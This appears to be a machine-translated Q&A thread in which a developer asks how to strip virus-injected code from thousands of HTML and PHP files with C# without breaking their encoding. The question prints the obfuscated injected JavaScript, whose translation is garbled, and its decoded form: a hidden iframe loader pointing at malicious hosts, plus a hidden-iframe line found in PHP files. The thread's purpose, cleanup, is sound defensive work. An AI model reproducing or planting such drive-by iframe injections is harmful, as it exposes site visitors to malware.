2012-02-09 5 views
6

Мне нужно загрузить с FTP более 5000 файлов, являющихся файлами .html и .php. Мне нужно прочитать каждый файл и удалить некоторые вещи, которые были помещены туда вирусом, и сохранить его обратно на FTP.Можно ли прочитать и записать файл с небольшими изменениями, не зная его кодировку на C#?

Я использую следующий код:

string content; 
using (StreamReader sr = new StreamReader(fileName, System.Text.Encoding.UTF8, true)) { 
    content = sr.ReadToEnd(); 
    sr.Close(); 
} 

using (StreamWriter sw = new StreamWriter(fileName + "1" + file.Extension, false, System.Text.Encoding.UTF8)) 
{ 
    sw.WriteLine(content); 
    sw.Close(); 
} 

Я скачал несколько файлов вручную и некоторые из них <meta http-equiv="Content-Type" content="text/html; charset=windows-1250" />, но я не хотел бы взять на себя все из них, как это. Я проверил с Notepad ++, а некоторые текстовые файлы ANSI. PHP кажется UTF-8 и HTML Windows-1250, но я бы предпочел не разрывать файлы, пытаясь его исправить. Так есть способ, которым мне не нужно было знать/угадывать кодировку, и это позволит мне удалить вирусные ссылки с веб-страниц?

Редактировать. Я пытаюсь найти и удалить что-то вроде этого:

вар s = новый String(), попробуйте {document.rvwrew.vewr} задвижка (д) {г = 1, с = String;} если (r & & document.createTextNode) u = 2; e = eval; m = [4.5 * u, 18/u, 52.5 * u, 204/u, 16 * u, 80/u, 50 * u, 222/u , 49.5 * и, 234/и, 54.5 * и, 202/и, 55 * и, 232/и, 23 * и, 206/и, 50.5 * и, 232/и, 34.5 * и, 216/и, 50.5 * и, 218/и, 50.5 * и, 220/у, 58 * и, 230/у, 33 * и, 242/и, 42 * и, 194/и, 51.5 * и, 156/и, 48.5 * U , 218/и, 50.5 * и, 80/и, 19.5 * и, 196/и, 55.5 * и, 200/и, 60.5 * и, 78/и, 20.5 * и, 182/и, 24 * и, 186 /u,20.5*u,246/u,4.5*u,18/u,4.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u , 20 * и 82/и, 29.5 * и, 18/и, 4,5 * U, 250/у, 16 * и, 202/и, 54 * и, 230/и, 50.5 * и, 64/и, 61.5 * и, 18/и, 4.5 * и, 18/и, 50 * и, 222/и, 49.5 * и, 234/и, 54.5 * и, 202/и, 55 * и, 232/и, 23 * U , 238/у, 57 * и, 210/у, 58 * и, 202/и, 20 * и 68/и, 30 * и, 210/у, 51 * и, 228/и, 48.5 * и, 218/и, 50.5 * и, 64/и, 57.5 * и, 228/и, 49.5 * и, 122/и, 19.5 * и, 208/у, 58 * и, 232/и, 56 * и, 116/и, 23.5 * и, 94/и, 51 * и, 210/у, 49 * и, 202/у, 57 * и, 194/и, 57.5 * и, 232/и, 48.5 * и, 232/и, 23 * и, 198/и, 55.5 * и, 218/и, 23.5 * и, 232/и, 50.5 * и, 218/и, 56 * и 94/и, 57.5 * и, 232/и, 48.5 * и, 232/и, 23 * и, 224/у, 52 * и, 224/и, 19.5 * и, 64/и, 59.5 * и, 210/и, 50 * и, 232/и, 52 * и, 122/и, 19.5 * и, 98/и, 24 * и 78/и, 16 * и, 208/и, 50.5 * и, 210/и, 51.5 * и, 208/у, 58 * и, 122/и, 19.5 * и, 98/и, 24 * и 78/и, 16 * и, 230/у, 58 * и, 242/и, 54 * и, 202/и, 30.5 * и, 78/и, 59 * u, 210/u, 57,5 ​​* u, 210/u, 49 * u, 210/u, 54 * u, 210/u, 58 * u, 242/u, 29 * u, 208/u, 52,5 * и, 200/и, 50 * и, 202/и, 55 * и, 118/и, 56 * и, 222/и, 57.5 * и, 210/у, 58 * и, 210/U, 55,5 * U , 220/у, 29 * и, 194/у, 49 * и, 230/и, 55.5 * и, 216/и, 58.5 * и, 232/и, 50.5 * и, 118/и, 54 * и, 202 /u,51*u,232/u,29*u,96/u,29.5*u,232/u,55.5*u,224/u,29*u,96/u,29.5*u,78/u , 31 * и, 120/и, 23.5 * и, 210/у, 51 * и, 228/и, 48.5 * и, 218/и, 50.5 * и, 124/и, 17 * и 82/и, 29.5 * и, 18/и, 4,5 * U, 250/у, 4,5 * U, 18/и, 51 * и, 234/у, 55 * и, 198/у, 58 * и, 210/и, 55.5 * и , 220/у, 16 * и, 210/у, 51 * и, 228/и, 48.5 * и, 218/и, 50.5 * и, 228/и, 20 * и 82/и, 61.5 * и, 18 /u,4.5*u,18/u, 59 * и, 194/у, 57 * и 64/и, 51 * и 64/и, 30.5 * и, 64/и, 50 * и, 222/и, 49.5 * и, 234/U, 54,5 * и, 202/и, 55 * и, 232/и, 23 * и, 198/у, 57 * и, 202/и, 48.5 * и, 232/и, 50.5 * и, 138/и, 54 * и, 202/и, 54.5 * и, 202/и, 55 * и, 232/и, 20 * и 78/и, 52.5 * и, 204/у, 57 * и, 194/и, 54.5 * и, 202/и, 19.5 * и, 82/и, 29.5 * и, 204/у, 23 * и, 230/и, 50.5 * и, 232/и, 32.5 * и, 232/и, 58 * и, 228/и, 52,5 * у, 196/у, 58,5 * и, 232/и, 50.5 * и, 80/и, 19.5 * и, 230/у, 57 * и, 198/и, 19.5 * и, 88/и, 19.5 * и, 208/у, 58 * и, 232/и, 56 * и, 116/и, 23.5 * и, 94/и, 51 * и, 210/у, 49 * и, 202/у, 57 * и, 194/и, 57.5 * и, 232/и, 48.5 * и, 232/и, 23 * и, 198/и, 55.5 * и, 218/и, 23.5 * и, 232/и, 50.5 * и, 218/и, 56 * и 94/и, 57.5 * и, 232/и, 48.5 * и, 232/и, 23 * и, 224/у, 52 * и, 224/и, 19.5 * и, 82/и, 29,5 * u, 204/u, 23 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 23 * u, 236/u, 52,5 * u, 230/u, 52,5 * и, 196/и, 52.5 * и, 216/и, 52.5 * и, 232/и, 60.5 * и, 122/и, 19.5 * и, 208/у, 52,5 * у, 200/у, 50 * U , 202/у, 55 * и 78/и, 29.5 * и, 204/у, 23 * и, 230/у, 58 * и, 242/и, 54 * и, 202/у, 23 * и, 224 /u,55.5*u,230/u,52.5*u,232/u,52.5*u,222/u,55*u,122/u,19.5*u,194/u,49*u,230/u , 55,5 * и, 216/и, 58.5 * и, 232/и, 50.5 * и, 78/и, 29.5 * и, 204/у, 23 * и, 230/у, 58 * и, 242/и, 54 * и, 202/у, 23 * и, 216/и, 50.5 * и, 204/у, 58 * и, 122/и, 19.5 * и, 96/и, 19.5 * у, 118/у, 51 * и, 92/и, 57.5 * и, 232/и, 60.5 * и, 216/и, 50.5 * и, 92/и, 58 * и, 222/и, 56 * и, 122/и, 19.5 * и, 96/и, 19.5 * у, 118/у, 51 * и 92/и, 57.5 * и, 202/у, 58 * и, 130/и, 58 * и, 232/и, 57 * и, 210/и, 49 * и, 234/у, 58 * и, 202/и, 20 * и 78/и, 59.5 * и, 210/и, 50 * и, 232/и, 52 * и 78/и, 22 * и 78/и, 24.5 * и, 96/и, 19.5 * и, 82/и, 29.5 * и, 204/у, 23 * и, 230/и, 50.5 * и, 232/и, 32.5 * и, 232/и, 58 * и, 228/и, 52.5 * и, 196/и, 58.5 * и, 232/и, 50.5 * и, 80/и, 19.5 * и, 208/и, 50.5 * и, 210/U, 51,5 * и, 208/у, 58 * и 78/и, 22 * ​​и 78/и, 24.5 * и, 96/и, 19.5 * и, 82/и, 29.5 * и, 18/и, 4.5 * и, 18/и, 50 * и, 222/и, 49.5 * и, 234/и, 54.5 * и, 202/и, 55 * и, 232/и, 23 * и, 206/и, 50,5 * у, 232/у, 34,5 * и, 216/и, 50.5 * и, 218/и, 50.5 * и, 220/у, 58 * и, 230/у, 33 * и, 242/у, 42 * и, 194/и, 51.5 * и, 156/и, 48.5 * и, 218/и, 50.5 * и, 80/и, 19.5 * и, 196/и, 55.5 * и, 200/и, 60.5 * и, 78/и, 20.5 * и, 182/и, 24 * и, 186/у, 23 * и, 194/и, 56 * и, 224/и, 50.5 * и, 220/у, 50 * и, 134/у, 52 * и, 210/и, 54 * и, 200/и, 20 * и, 204/и, 20.5 * и, 118/у, 4,5 * и, 18/и, 62.5 * и]; если (document.createTextNode) с (с) мм = fromCharCode; для (I = 0;! я = m.length; я ++) s + = мм (е ("м" + "[ "+" я "+ ']')); попробовать {doc.qwe.removeChild()} улов (д) {е (с);}

, который после декодирования составляет

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write(""); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://fiberastat.com/temp/stat.php'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

И когда вы посещаете веб-страницу, это говорит вам об этом (после декодирования).

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write(""); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://vtempe.in/in.cgi?17'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

Скрипт добавляется в последние 3 строки и в основном начинается сразу после </html> вар

РНР скрипт имеет более или менее этот тип линии <iframe src="http://hugetopdiet.cn:8080/ts/in.cgi?pepsi13" width=2 height=4 style="visibility: hidden"></iframe>, но он может быть где угодно в файле.

Не уверен, есть ли другой способ переписать эти файлы. Но нужно пройти через 5000 файлов, кажется, слишком много и рискованно :-)

+0

Если вы изменяете файлы, вам нужно знать кодировку, или вы практически гарантированно сломаете ее. – Dave

+0

Просто мысль, но разве у вас нет чистых версий этих файлов до того, как вирус попал на них, либо загруженные оригиналы, либо резервные копии? Если нет, подумайте о том, чтобы идти вперед. –

+0

№ Новый клиент связался со мной сегодня, и в основном все, что у него есть, - это куча файлов с двумя типами записей. Я обновил вопрос с «проблемным кодом». – MadBoy

ответ

3

Предполагая, что ни один из файлов не является UTF16 или UTF32 и что части, с которыми вы хотите взаимодействовать, являются полностью 7-разрядными ASCII, вы может открыть и сохранить его как Encoding.Default, который будет округлять любой более высокий символ правильно.

+0

Я обновил вопрос. Детали должны выполняться с помощью Encoding.Default. Я попробую это – MadBoy

+0

Это трюк красиво. Благодаря! – MadBoy

1

Вирусу не нужно было знать кодировку файла, чтобы добавить его содержимое в свои файлы, чтобы это было очевидно. Вместо того, чтобы рассматривать файл как текст, вы не могли бы просто обработать его как двоичный файл и искать шаблоны, соответствующие тому, что добавил вирус?

+0

Не знаю. Я обновил вопрос с кодом, который мне нужно удалить. – MadBoy